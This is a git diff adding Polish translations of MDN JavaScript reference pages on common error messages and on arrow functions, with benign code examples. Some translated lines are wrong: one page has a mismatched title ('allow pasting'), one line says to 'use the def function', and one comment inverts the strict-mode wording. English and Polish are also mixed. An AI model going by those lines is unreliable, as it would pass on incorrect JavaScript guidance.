+// SyntaxError: missing ) after argument list</pre>
+
+<p>W powyższym przypadku JavaScript sądzi, że chciałeś użyć <code>);</code> jako fragmentu ciągu znaków (<em>string</em>) i ignoruje to, ponieważ nie wie, że <code>);</code> miało zakończyć wywołanie funkcji <code>console.log</code>. Aby naprawić ten problem, należy dodać znak <code>'</code> na końcu ciągu znaków, po fragmencie <code>'Script\"</code>:</p>
+
+<pre class="brush: js example-good notranslate">console.log('"Java" + "Script" = \"' + 'Java' + 'Script\"');
+// '"Java" + "Script" = "JavaScript"'
+</pre>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Guide/Funkcje">Funkcje</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/pl/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
new file mode 100644
index 0000000000..6ff362a7aa
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
@@ -0,0 +1,82 @@
+---
+title: zezwalaj na wklejanie
+slug: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+tags:
+ - Errors
+ - JavaScript
+ - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected ';' (Edge)
+SyntaxError: missing ; before statement (Firefox)
+</pre>
+
+<h2 id="Typ_Błędu">Typ Błędu</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Brakuje gdzieś średnika (;). Instrukcje JavaScript muszą być zakończone średnikami. Niektóre z nich podlegają automatycznemu wstawianiu średnika (ASI), ale w tym przypadku musisz podać średnik, aby JavaScript mógł poprawnie przeanalizować kod źródłowy.</p>
+
+<p>Jednak często ten błąd jest tylko konsekwencją innego błędu, takiego jak niewłaściwe unikanie ciągów znaków lub niewłaściwe używanie zmiennej var. Możesz także mieć gdzieś za dużo nawiasów. Dokładnie sprawdź składnię, gdy ten błąd zostanie zgłoszony.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Niezdefiniowane_wiersze">Niezdefiniowane wiersze</h3>
+
+<p>Ten błąd może wystąpić z łatwością, gdy łańcuch znaków nie jest poprawnie zlozony, a silnik JavaScript oczekuje już końca łańcucha. Na przykład:</p>
+
+<pre class="brush: js example-bad">var foo = 'Tom's bar';
+// SyntaxError: missing ; before statement</pre>
+
+<p>Możesz użyć podwójnych cudzysłowów lub uciec od apostrofu:</p>
+
+<pre class="brush: js example-good">var foo = "Tom's bar";
+var foo = 'Tom\'s bar';
+</pre>
+
+<h3 id="Deklarowanie_właściwości_za_pomocą_var">Deklarowanie właściwości za pomocą var</h3>
+
+<p>Nie można zadeklarować właściwości obiektu lub tablicy za pomocą deklaracji var.</p>
+
+<pre class="brush: js example-bad">var obj = {};
+var obj.foo = 'hi'; // SyntaxError missing ; before statement
+
+var array = [];
+var array[0] = 'there'; // SyntaxError missing ; before statement
+</pre>
+
+<p>Zamiast tego pomiń słowo kluczowe var:</p>
+
+<pre class="brush: js example-good">var obj = {};
+obj.foo = 'hi';
+
+var array = [];
+array[0] = 'there';
+</pre>
+
+<h3 id="Bad_keywords">Bad keywords</h3>
+
+<p>Jeśli pochodzisz z innego języka programowania, często używasz słów kluczowych, które nie oznaczają tego samego lub nie mają żadnego znaczenia w javaScript:</p>
+
+<pre class="brush: js example-bad">def print(info){
+ console.log(info);
+}; // SyntaxError missing ; before statement</pre>
+
+<p>Zamiast tego użyj funkcji def:</p>
+
+<pre class="brush: js example-good">function print(info){
+ console.log(info);
+};</pre>
+
+<h2 id="Zobacz_tez">Zobacz tez</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Automatic semicolon insertion (ASI)</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/more_arguments_needed/index.html b/files/pl/web/javascript/reference/errors/more_arguments_needed/index.html
new file mode 100644
index 0000000000..309031c6d0
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/more_arguments_needed/index.html
@@ -0,0 +1,44 @@
+---
+title: 'TypeError: More arguments needed'
+slug: Web/JavaScript/Reference/Errors/More_arguments_needed
+translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Komunikat">Komunikat</h2>
+
+<pre class="syntaxbox">TypeError: Object.create requires more than 0 arguments
+TypeError: Object.setPrototypeOf requires more than 1 argument
+TypeError: Object.defineProperties requires more than 0 arguments
+</pre>
+
+<h2 id="Typ_błędu">Typ błędu</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Błąd zaistniał w sposobie wywołania funkcji. Należy podać więcej argumentów.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Metoda {{jsxref("Object.create()")}} wymaga przynajmniej jednego argumentu a metoda {{jsxref("Object.setPrototypeOf()")}} wymaga przynajmniej dwóch:</p>
+
+<pre class="brush: js example-bad">var obj = Object.create();
+// TypeError: Object.create requires more than 0 arguments
+
+var obj = Object.setPrototypeOf({});
+// TypeError: Object.setPrototypeOf requires more than 1 argument
+</pre>
+
+<p>Możesz temu zaradzić ustawiając {{jsxref("null")}} jako prototyp, na przykład:</p>
+
+<pre class="brush: js example-good">var obj = Object.create(null);
+
+var obj = Object.setPrototypeOf({}, null);</pre>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/not_a_function/index.html b/files/pl/web/javascript/reference/errors/not_a_function/index.html
new file mode 100644
index 0000000000..019a223f0f
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/not_a_function/index.html
@@ -0,0 +1,84 @@
+---
+title: 'TypeError: "x" nie jest funkcją'
+slug: Web/JavaScript/Reference/Errors/Not_a_function
+tags:
+ - Errors
+ - JavaScript
+ - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Not_a_function
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox">TypeError: "x" is not a function
+</pre>
+
+<h2 id="Typ_błędu">Typ błędu</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Co_poszło_źle">Co poszło źle?</h2>
+
+<p>Próbowano wywołać wartość jak funkcję, ale wartość nie jest funkcją. Kod oczekuje od Ciebie przekazania funkcji, co nie miało miejsca.</p>
+
+<p>Może zrobiłeś literówkę w nazwie funkcji? Może objekt na którym wywołujesz tę metodę nie posiada tej funkcji? Na przykład, objekt JavaScript nie posiada funkcji <em>map, </em>natomiast objekt JavaScript Array posiada.</p>
+
+<p>Istnieje mnóstwo wbudowanych funkcji wymagających (callback) funkcji. Będziesz musiał wprowadzić funkcję, by metody te działały poprawnie:</p>
+
+<ul>
+ <li>Gdy pracujesz z {{jsxref("Array")}} lub {{jsxref("TypedArray")}} objektami:
+ <ul>
+ <li>{{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}},  {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}}</li>
+ </ul>
+ </li>
+ <li>Gdy pracujesz z {{jsxref("Map")}} i {{jsxref("Set")}} objektami:
+ <ul>
+ <li>{{jsxref("Map.prototype.forEach()")}} and {{jsxref("Set.prototype.forEach()")}}</li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Literówka_w_nazwie_funkcji">Literówka w nazwie funkcji</h3>
+
+<p>W tym wypadku, co zdarza się zbyt często, jest literówka w nazwie metody:</p>
+
+<pre class="brush: js example-bad">var x = document.getElementByID('foo');
+// TypeError: document.getElementByID is not a function
+</pre>
+
+<p>Poprawna naywa metody to <code>getElementByI<strong>d</strong></code>:</p>
+
+<pre class="brush: js example-good">var x = document.getElementById('foo');
+</pre>
+
+<h3 id="Funkcje_wywołane_na_nieodpowiednim_objekcie">Funkcje wywołane na nieodpowiednim objekcie</h3>
+
+<p>Dla pewnych metod, musisz podać (callback) funkcję, która będzie działała tylko dla specyficznych objektów. W tym przykładzie, {{jsxref("Array.prototype.map()")}} jest użyta, podczas gdy działa tylko z objektami {{jsxref("Array")}}</p>
+
+<pre class="brush: js example-bad">var obj = {a: 13, b: 37, c: 42};
+
+obj.map(function(num) {
+ return num * 2;
+});
+
+// TypeError: obj.map is not a function</pre>
+
+<p>Użyj w zamian <em>array:</em></p>
+
+<pre class="brush: js example-good">var numbers = [1, 4, 9];
+
+numbers.map(function(num) {
+ return num * 2;
+});
+
+// Array [2, 8, 18]
+</pre>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/not_defined/index.html b/files/pl/web/javascript/reference/errors/not_defined/index.html
new file mode 100644
index 0000000000..a5e72f84cb
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/not_defined/index.html
@@ -0,0 +1,66 @@
+---
+title: 'ReferenceError: "x" is not defined'
+slug: Web/JavaScript/Reference/Errors/Not_defined
+translation_of: Web/JavaScript/Reference/Errors/Not_defined
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox">ReferenceError: "x" is not defined
+</pre>
+
+<h2 id="Typ_błędu">Typ błędu</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Istnieje gdzieś niezadeklarowana zmienna. Zmienna ta powinna być zadeklarowana, a jeśli jest upewnij się czy jest dostępna w twoim skrypcie albo {{Glossary("scope")}}.</p>
+
+<div class="note">
+<p><strong>Notatka:</strong> Gdy ładujesz bibliotekę (na przykład jQuery), <span id="result_box" lang="pl"><span>upewnij się, że jest załadowana przed dostępem do zmiennych biblioteki, np</span></span> "$". Dodaj znacznik {{HTMLElement("script")}} ładujący bibliotekę przed twoim kodem, który jej używa.</p>
+</div>
+
+<h2 id="Przykład">Przykład</h2>
+
+<h3 id="Zmienna_niezadeklarowana">Zmienna niezadeklarowana</h3>
+
+<pre class="brush: js example-bad">foo.substring(1); // ReferenceError: foo is not defined
+</pre>
+
+<p>Zmianna "foo" jest niezdefiniowana. Powinna być jakąś wartością string wiec("String.prototype.substring()")}} metoda ta będzie działać.</p>
+
+<pre class="brush: js example-good">var foo = 'bar';
+foo.substring(1); // "ar"</pre>
+
+<h3 id="Zły_zasięg">Zły zasięg</h3>
+
+<p><span id="result_box" lang="pl"><span>Zmienna musi być dostępna w bieżącym kontekście realizacji.</span> <span>Zmienne zdefiniowane wewnątrz</span></span> <a href="/en-US/docs/Web/JavaScript/Reference/Functions">funcji </a><span lang="pl"><span>nie mogą być dostępne z dowolnego miejsca poza funkcją, powodem jest to że zmienna jest zdefiniowana tylko zmienną lokalną funkcji.</span></span></p>
+
+<pre class="brush: js example-bad">function numbers() {
+ var num1 = 2,
+ num2 = 3;
+ return num1 + num2;
+}
+
+console.log(num1); // ReferenceError num1 is not defined.</pre>
+
+<p>Jakkolwiek funkcja może mieć dostęp do wszystkich zmiennych dzięki deklaracji zmiennych globalnie. Zmienne globalne są dostępne dla wszystkich funkcji.</p>
+
+<pre class="brush: js example-good">var num1 = 2,
+ num2 = 3;
+
+function numbers() {
+ return num1 + num2;
+}
+
+console.log(num1); // 2</pre>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{Glossary("Scope")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declaring_variables">Przewodnik deklaracji zmiennych w JavaScript</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope/en-US/docs/">Zasięg funkcji w Javascript</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/property_access_denied/index.html b/files/pl/web/javascript/reference/errors/property_access_denied/index.html
new file mode 100644
index 0000000000..5db1ef3cad
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/property_access_denied/index.html
@@ -0,0 +1,53 @@
+---
+title: 'Error: Permission denied to access property "x"'
+slug: Web/JavaScript/Reference/Errors/Property_access_denied
+tags:
+ - Bezpieczeństwo
+ - Błąd
+ - Błędy
+ - Error
+ - Errors
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Errors/Property_access_denied
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<p>Wyjątek JavaScript "Permission denied to access property" pojawia się podczas próby dostępu do obiektu, do którego nie masz uprawnień</p>
+
+<h2 id="Wiadomość">Wiadomość</h2>
+
+<pre class="syntaxbox notranslate">Error: Permission denied to access property "x"
+</pre>
+
+<h2 id="Typ_błędu">Typ błędu</h2>
+
+<p>{{jsxref("Error")}}</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Podjęto próbę dostępu do obiektu, do którego nie masz uprawnień. There was attempt to access an object for which you have no permission.Jest to prawdopodobnie element <a href="/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame element (&lt;iframe>) represents a nested browsing context, embedding another HTML page into the current one."><code>&lt;iframe&gt;</code></a> załadowany z innej domeny, dla której naruszyłeś <a href="/en-US/docs/Web/Security/Same-origin_policy">regułę tego samego pochodzenia (same-origin policy)</a>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Brak_uprawnień_dostepu_do_dokumentu">Brak uprawnień dostepu do dokumentu</h3>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"&gt;&lt;/iframe&gt;
+ &lt;script&gt;
+ onload = function() {
+ console.log(frames[0].document);
+ // Error: Permission denied to access property "document"
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame element (&lt;iframe>) represents a nested browsing context, embedding another HTML page into the current one."><code>&lt;iframe&gt;</code></a></li>
+ <li><a href="/pl/docs/Web/Bezpieczeństwo/Same-origin_policy">Reguła tego samego pochodzenia (same-origin policy)</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/errors/unexpected_type/index.html b/files/pl/web/javascript/reference/errors/unexpected_type/index.html
new file mode 100644
index 0000000000..39b363d42f
--- /dev/null
+++ b/files/pl/web/javascript/reference/errors/unexpected_type/index.html
@@ -0,0 +1,69 @@
+---
+title: 'TypeError: "x" is (not) "y"'
+slug: Web/JavaScript/Reference/Errors/Unexpected_type
+tags:
+ - Błąd TypeError
+ - Błąd undefined
+ - Wartość null
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: "x" is (not) "y"
+
+Examples:
+TypeError: "x" is undefined
+TypeError: "x" is null
+TypeError: "undefined" is not an object
+TypeError: "x" is not an object or null
+TypeError: "x" is not a symbol
+</pre>
+
+<h2 id="Typ_błędu">Typ błędu</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2>
+
+<p>Pojawił się nieoczekiwany typ, dlatego pojawił się błąd. Błąd pojawia się często jako {{jsxref("undefined")}} albo {{jsxref("null")}} dla określonych wartości.</p>
+
+<p>Dodatkowo niektóre metody takie jak {{jsxref("Object.create()")}} albo {{jsxref("Symbol.keyFor()")}}, wymagają określonego typu, który musi być zadeklarowany.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Nieprawidłowe_przypadki_które_mogą_się_pojawić">Nieprawidłowe przypadki, które mogą się pojawić</h3>
+
+<pre class="brush: js example-bad">// undefined oraz null to przypadki, dla których pojawi się błąd
+var foo = undefined;
+foo.substring(1); // TypeError: foo is undefined
+
+var foo = null;
+foo.substring(1); // TypeError: foo is null
+
+
+// <span class="short_text" id="result_box" lang="pl"><span>Niektóre metody mogą wymagać określonego typu</span></span>
+var foo = {}
+Symbol.keyFor(foo); // TypeError: foo is not a symbol
+
+var foo = 'bar'
+Object.create(foo); // TypeError: "foo" is not an object or null
+</pre>
+
+<h2 id="Jak_naprawić">Jak naprawić?</h2>
+
+<p>Aby naprawić problem, w przypadku wyświetlenia <code>'undefined'</code> bądź '<code>null</code>' dla określonych wartości można użyć operatora <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof.</a></p>
+
+<h3 id="Przykład">Przykład</h3>
+
+<pre class="brush: js">if (typeof foo !== 'undefined') {
+ // Teraz wiemy, że zmienna foo jest zdefiniowana
+}</pre>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html b/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html
new file mode 100644
index 0000000000..d1b9d6010f
--- /dev/null
+++ b/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html
@@ -0,0 +1,355 @@
+---
+title: Funkcje strzałkowe
+slug: Web/JavaScript/Reference/Functions/Funkcje_strzalkowe
+translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong>Funkcja strzałkowa </strong>ma krótszą składnię niż <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">zwykłe wyrażenie funkcji</a> oraz nie posiada własnego <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">argumentów</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a>, tudzież właściwości <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a>. Taki sposób wyrażenia funkcji najlepiej wykorzystać przy tworzeniu funkcji bez metod, ponadto nie mogą zostać one użyte jako konstruktory.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<h3 id="Składnia_podstawowa">Składnia podstawowa</h3>
+
+<pre class="syntaxbox"><strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =&gt; {</strong> <em>statements</em> <strong>}</strong>
+<strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =&gt;</strong> <em>expression</em>
+// inaczej mówiąc: <strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>)</strong> =&gt; { return <em>expression</em>; }
+
+// Nawiasy są opcjonalne jeżeli występuje wyłącznie jedna nazwa parametru:
+<em>(singleParam)</em> <strong>=&gt; {</strong> <em>statements</em> <strong>}</strong>
+<em>singleParam</em> <strong>=&gt;</strong> { <em>statements </em>}
+<em>singleParam</em> <strong>=&gt;</strong> <em>expression</em>
+
+
+// Lista parametrów dla funkcji bez parametrów powinna być zapisana przy użyciu pustego nawiasu.
+() =&gt; { <em>statements</em> }
+</pre>
+
+<h3 id="Zaawansowana_składnia">Zaawansowana składnia</h3>
+
+<pre class="syntaxbox">// Otoczenie ciała funkcji nawiasami pozwoli zwrócić tzw. object literal expression:
+<em>params</em> =&gt; ({<em>foo: bar</em>})
+
+// Parametry Rest (<a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameters</a>) i domyślne (<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a>) są wspierane
+(<em>param1</em>, <em>param2</em>, <strong>...rest</strong>) =&gt; { <em>statements</em> }
+(<em>param1</em> <strong>= defaultValue1</strong>, <em>param2</em>, …, paramN <strong>= defaultValueN</strong>) =&gt; { <em>statements</em> }
+
+// Destrukturyzacja (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring</a>) w ramach listy parametrów jest również wspierana
+let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) =&gt; a + b + c;
+f();
+// 6
+</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Zobacz również <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" na hacks.mozilla.org</a>.</p>
+
+<p>Dwa czynniki, które wpłynęły na wprowadzenie funkcji strzałkowych: krótszy zapis funkcji i brak wiązania <code>this</code>.</p>
+
+<h3 id="Krótsze_funkcje">Krótsze funkcje</h3>
+
+<pre class="brush: js">var materials = [
+ 'Hydrogen',
+ 'Helium',
+ 'Lithium',
+ 'Beryllium'
+];
+
+materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(function(material) {
+ return material.length;
+}); // [8, 6, 7, 9]
+
+materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>((material) =&gt; {
+ return material.length;
+}); // [8, 6, 7, 9]
+
+materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(material =&gt; material.length); // [8, 6, 7, 9]
+
+materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({ length }) =&gt; length); // [8, 6, 7, 9]
+</pre>
+
+<h3 id="Brak_oddzielnego_this">Brak oddzielnego <code>this</code></h3>
+
+<p>Przed wprowadzeniem funkcji strzałkowych każda nowa funkcja deniniowała swoją własną wartość <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> (nowy obiekt w przypadku konstruktora, undefined w wywołaniach funkcji <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, obiekt bazowy jeśli funkcja jest wywoływana jako "metoda obiektowa", itp.). Okazało się to niekorzystne przy obiektowym stylu programowania.</p>
+
+<pre class="brush: js">function Person() {
+ // Konstruktor Person() definiuje `this` jako instancję samego siebie.
+ this.age = 0;
+
+ setInterval(function growUp() {
+ // Bez trybu non-strict, funkcja growUp() definuje `this`
+ // jako obiekt globalny, który jest inny od `this`
+ // zdefiniowanego przez konstruktor Person().
+ this.age++;
+ }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>W ECMAScript 3/5, problem z <code>this</code> można było rozwiązać przez przydzielenie wartości <code>this</code> do zmiennej, która wygląda bardzo podobnie.</p>
+
+<pre class="brush: js">function Person() {
+ var that = this;
+ that.age = 0;
+
+ setInterval(function growUp() {
+ // The callback refers to the `that` variable of which
+ // the value is the expected object.
+ that.age++;
+ }, 1000);
+}</pre>
+
+<p>Można było również stworzyć <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">funkcję bound</a>, co pozwoliło nadać wstępnie przypisaną wartość <code>this</code> do powiązanej funkcji docelowej (funkcja <code>growUp()</code> w przykładzie powyżej).</p>
+
+<p>Funkcja strzałkowa nie posiada własnego <code>this</code>; używana jest wartość <code>this</code> kontekstu wykonania. W związku z tym, w poniższym kodzie, <code>this</code> użyty w funkcji, który jest przekazywany do <code>setInterval</code>, ma taką samą wartość jak <code>this</code> w funkcji otaczającej:</p>
+
+<pre class="brush: js">function Person(){
+ this.age = 0;
+
+ setInterval(() =&gt; {
+ this.age++; // własność |this| właściwie odnosi się do obiektu Person()
+ }, 1000);
+}
+
+var p = new Person();</pre>
+
+<h4 id="Relation_with_strict_mode">Relation with strict mode</h4>
+
+<p>Given that <code>this</code> comes from the surrounding lexical context, <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> rules with regard to <code>this</code> are ignored.</p>
+
+<pre class="brush: js">var f = () =&gt; { 'use strict'; return this; };
+f() === window; // or the global object</pre>
+
+<p>All other strict mode rules apply normally.</p>
+
+<h4 id="Invoked_through_call_or_apply">Invoked through call or apply</h4>
+
+<p>Since arrow functions do not have their own <code>this</code>, the methods <code>call()</code> or <code>apply()</code> can only pass in parameters. <code>thisArg</code> is ignored.</p>
+
+<pre class="brush: js">var adder = {
+ base: 1,
+
+ add: function(a) {
+ var f = v =&gt; v + this.base;
+ return f(a);
+ },
+
+ addThruCall: function(a) {
+ var f = v =&gt; v + this.base;
+ var b = {
+ base: 2
+ };
+
+ return f.call(b, a);
+ }
+};
+
+console.log(adder.add(1)); // This would log to 2
+console.log(adder.addThruCall(1)); // This would log to 2 still</pre>
+
+<h3 id="No_binding_of_arguments">No binding of <code>arguments</code></h3>
+
+<p>Arrow functions do not have their own <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code> object</a>. Thus, in this example, <code>arguments</code> is simply a reference to the the arguments of the enclosing scope:</p>
+
+<pre class="brush: js">var arguments = [1, 2, 3];
+var arr = () =&gt; arguments[0];
+
+arr(); // 1
+
+function foo(n) {
+ var f = () =&gt; arguments[0] + n; // <em>foo</em>'s implicit arguments binding. arguments[0] is n
+ return f(10);
+}
+
+foo(1); // 2</pre>
+
+<p>In most cases, using <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a> is a good alternative to using an <code>arguments</code> object.</p>
+
+<pre class="brush: js">function foo(n) {
+ var f = (...args) =&gt; args[0] + n;
+ return f(10);
+}
+
+foo(1); // 11</pre>
+
+<h3 id="Arrow_functions_used_as_methods">Arrow functions used as methods</h3>
+
+<p>As stated previously, arrow function expressions are best suited for non-method functions. Let's see what happens when we try to use them as methods:</p>
+
+<pre class="brush: js">'use strict';
+var obj = {
+ i: 10,
+ b: () =&gt; console.log(this.i, this),
+ c: function() {
+ console.log(this.i, this);
+ }
+}
+obj.b(); // prints undefined, Window {...} (or the global object)
+obj.c(); // prints 10, Object {...}</pre>
+
+<p>Arrow functions do not have their own <code>this</code>. Another example involving {{jsxref("Object.defineProperty()")}}:</p>
+
+<pre class="brush: js">'use strict';
+var obj = {
+ a: 10
+};
+
+Object.defineProperty(obj, 'b', {
+ get: () =&gt; {
+ console.log(this.a, typeof this.a, this);
+ return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined'
+ }
+});
+</pre>
+
+<h3 id="Use_of_the_new_operator">Use of the <code>new</code> operator</h3>
+
+<p>Arrow functions cannot be used as constructors and will throw an error when used with <code>new</code>.</p>
+
+<pre class="brush: js">var Foo = () =&gt; {};
+var foo = new Foo(); // TypeError: Foo is not a constructor</pre>
+
+<h3 id="Use_of_prototype_property">Use of <code>prototype</code> property</h3>
+
+<p>Arrow functions do not have a <code>prototype</code> property.</p>
+
+<pre class="brush: js">var Foo = () =&gt; {};
+console.log(Foo.prototype); // undefined
+</pre>
+
+<h3 id="Use_of_the_yield_keyword">Use of the <code>yield</code> keyword</h3>
+
+<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> keyword may not be used in an arrow function's body (except when permitted within functions further nested within it). As a consequence, arrow functions cannot be used as generators.</p>
+
+<h2 id="Function_body">Function body</h2>
+
+<p>Arrow functions can have either a "concise body" or the usual "block body".</p>
+
+<p>In a concise body, only an expression is specified, which becomes the explicit return value. In a block body, you must use an explicit <code>return</code> statement.</p>
+
+<pre class="brush: js">var func = x =&gt; x * x;
+// concise body syntax, implied "return"
+
+var func = (x, y) =&gt; { return x + y; };
+// with block body, explicit "return" needed
+</pre>
+
+<h2 id="Returning_object_literals">Returning object literals</h2>
+
+<p>Keep in mind that returning object literals using the concise body syntax <code>params =&gt; {object:literal}</code> will not work as expected.</p>
+
+<pre class="brush: js">var func = () =&gt; { foo: 1 };
+// Calling func() returns undefined!
+
+var func = () =&gt; { foo: function() {} };
+// SyntaxError: function statement requires a name</pre>
+
+<p>This is because the code inside braces ({}) is parsed as a sequence of statements (i.e. <code>foo</code> is treated like a label, not a key in an object literal).</p>
+
+<p>Remember to wrap the object literal in parentheses.</p>
+
+<pre class="brush: js">var func = () =&gt; ({foo: 1});</pre>
+
+<h2 id="Line_breaks">Line breaks</h2>
+
+<p>An arrow function cannot contain a line break between its parameters and its arrow.</p>
+
+<pre class="brush: js">var func = ()
+ =&gt; 1;
+// SyntaxError: expected expression, got '=&gt;'</pre>
+
+<h2 id="Parsing_order">Parsing order</h2>
+
+<p>Although the arrow in an arrow function is not an operator, arrow functions have special parsing rules that interact differently with <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a> compared to regular functions.</p>
+
+<pre class="brush: js">let callback;
+
+callback = callback || function() {}; // ok
+
+callback = callback || () =&gt; {};
+// SyntaxError: invalid arrow-function arguments
+
+callback = callback || (() =&gt; {}); // ok
+</pre>
+
+<h2 id="More_examples">More examples</h2>
+
+<pre class="brush: js">// An empty arrow function returns undefined
+let empty = () =&gt; {};
+
+(() =&gt; 'foobar')();
+// Returns "foobar"
+// (this is an Immediately Invoked Function Expression
+// see 'IIFE' in glossary)
+
+var simple = a =&gt; a &gt; 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+let max = (a, b) =&gt; a &gt; b ? a : b;
+
+// Easy array filtering, mapping, ...
+
